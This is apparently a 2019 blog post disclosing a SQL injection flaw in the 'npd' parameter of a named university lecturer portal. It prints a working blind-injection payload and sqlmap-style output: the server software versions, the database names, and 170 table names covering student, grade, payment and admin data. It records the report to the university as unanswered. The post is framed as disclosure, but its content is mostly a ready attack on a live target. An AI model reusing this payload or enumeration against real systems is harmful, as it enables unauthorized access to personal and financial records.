Saturday, September 7, 2019

BUGS dosen.univpancasila.ac.id

DOMAIN : http://dosen.univpancasila.ac.id
BUGS              : SQL Injection
TARGET : /profil.php
Parameter : npd (GET DATA)

---
Parameter: npd (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: npd=3090211014' AND 8573=8573 AND 'IXGO'='IXGO
---



INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5

available databases [3]:
[*] akademik
[*] information_schema
[*] mysql

Database: akademik
[170 tables]
+---------------------------+
| mhs\xfc!ari               |
| mhs_baru_p\xf8Ar_tahun    |
| wpembayara\xf8A           |
| xdosenpend\xfe\x11dikan   |
| xkrstemppsi               |
| xnilaikomuniki           |
| xstati\xf0\x81tik         |
| zkuisip\x84\x01er         |
| adminregistrasi           |
| alumni_quis2012           |
| beritaangka               |
| beritadosen               |
| beritajurusan             |
| chat                      |
| dosenskripsi              |
| dosenskripsimhs           |
| dosenttp                  |
| keu_ffs3                  |
| luaran_ffs3               |
| mhs_baru_kosong           |
| mhs_baru_pria             |
| mhs_baru_total            |
| mhs_baru_wanita           |
| mhs_saat_ini_kosong       |
| mhs_saat_ini_per_prodi    |
| mhs_saat_ini_pria         |
| mhs_saat_ini_total        |
| mhs_saat_ini_wanita       |
| mhsbahasa                 |
| mhsdata                   |
| mhsmusik                  |
| mhsnalar                  |
| mhsolahraga               |
| mhsorganisasi             |
| mhspenyakit               |
| mhsseni                   |
| msdos                     |
| msmhs                     |
| mspst                     |
| quis_apt                  |
| smu                       |
| st_user                   |
| stsmhs                    |
| tbdos                     |
| tbkmk                     |
| tbkod                     |
| tbnil                     |
| tbpro                     |
| tbpst                     |
| tbpti                     |
| tbtgh                     |
| tbtghb                    |
| trdsn                     |
| trkmk                     |
| trlsm                     |
| trmln                     |
| trnlm                     |
| versi                     |
| wadmin                    |
| wbayarbaru                |
| wbayarbarux               |
| wbayarbaruy               |
| wbayarfix                 |
| wjenis                    |
| wkewajiban                |
| wperiode                  |
| wtagihan                  |
| wtagihan_judul            |
| xaccountsettings          |
| xadmin                    |
| xangket                   |
| xangket_dosen             |
| xangket_form              |
| xdatakuliah               |
| xdosduplikat              |
| xdosduplikat1             |
| xdosen                    |
| xdosen2                   |
| xdosen3                   |
| xdosenakademis            |
| xdosenbkd                 |
| xdosenfile                |
| xdosenjabatan             |
| xdosenkeluarga            |
| xdosenkuliah              |
| xdosenkuliahajar          |
| xdosenlain                |
| xdosenpengabdian          |
| xdosenpenghargaan         |
| xdosenpublikasi           |
| xdosenseminar             |
| xdosenskripsi             |
| xgambar                   |
| xhistori                  |
| xhistoriipk               |
| xjurusan                  |
| xkonversi                 |
| xkonversimk               |
| xkonversinilai            |
| xkrs                      |
| xkrs_ff                   |
| xkrs_p2kfe                |
| xkrsbuka_fe               |
| xkrsbuka_ff               |
| xkrsbuka_p2kfe            |
| xkrsjadwal_fe             |
| xkrsjadwal_ff             |
| xkrsjadwal_ffs2           |
| xkrsjadwal_ft             |
| xkrstemp                  |
| xlaporan                  |
| xlog                      |
| xmahasiswa                |
| xmahasiswa_cuti           |
| xmahasiswa_nonaktif       |
| xmahasiswa_status         |
| xmatakuliah_syarat        |
| xmatakuliahtranskrip      |
| xmksyarat                 |
| xnilaifarmasi             |
| xnilaifarmasimk           |
| xnilaifarmasiparameter    |
| xnilaihukum               |
| xnilaihukummk             |
| xnilaihukumparameter      |
| xnilaikomunikasimk        |
| xnilaikomunikasiparameter |
| xnilaimaster              |
| xnilaipsikologi           |
| xnilaipsikologimk         |
| xnilaipsikologiparameter  |
| xnilaireguler             |
| xnilaisp                  |
| xnilaiteknik              |
| xnilaiteknikmk            |
| xnilaiteknikparameter     |
| xnilaiuts                 |
| xpembayaran               |
| xpeminatan                |
| xperiode                  |
| xpesan                    |
| xta                       |
| xta_log                   |
| xtranskrip                |
| xxabsen_dosen             |
| xxadmin                   |
| xxkrs                     |
| xxmatakuliah              |
| xxmatakuliah_buka         |
| yadmin                    |
| yma                       |
| ynomaster                 |
| ynomaster_baru            |
| yperiode                  |
| ytransaksi                |
| zbank                     |
| zbayar                    |
| zberita                   |
| zdaftar                   |
| zkuisioner_calon          |
| zperiode                  |
| zpimpinan                 |
| zpin                      |
| zpinbank                  |
| zprodi                    |
| zsponsor                  |
| zujian                    |
| zzdaftar                  |
| zzmkujian                 |
| zzperiode                 |
+---------------------------+

Dilaporkan melalui email ke alamat humas@univpancasila.ac.id pada tanggal 12 Agustus 2019.
Balasan: -
Status: -

No comments: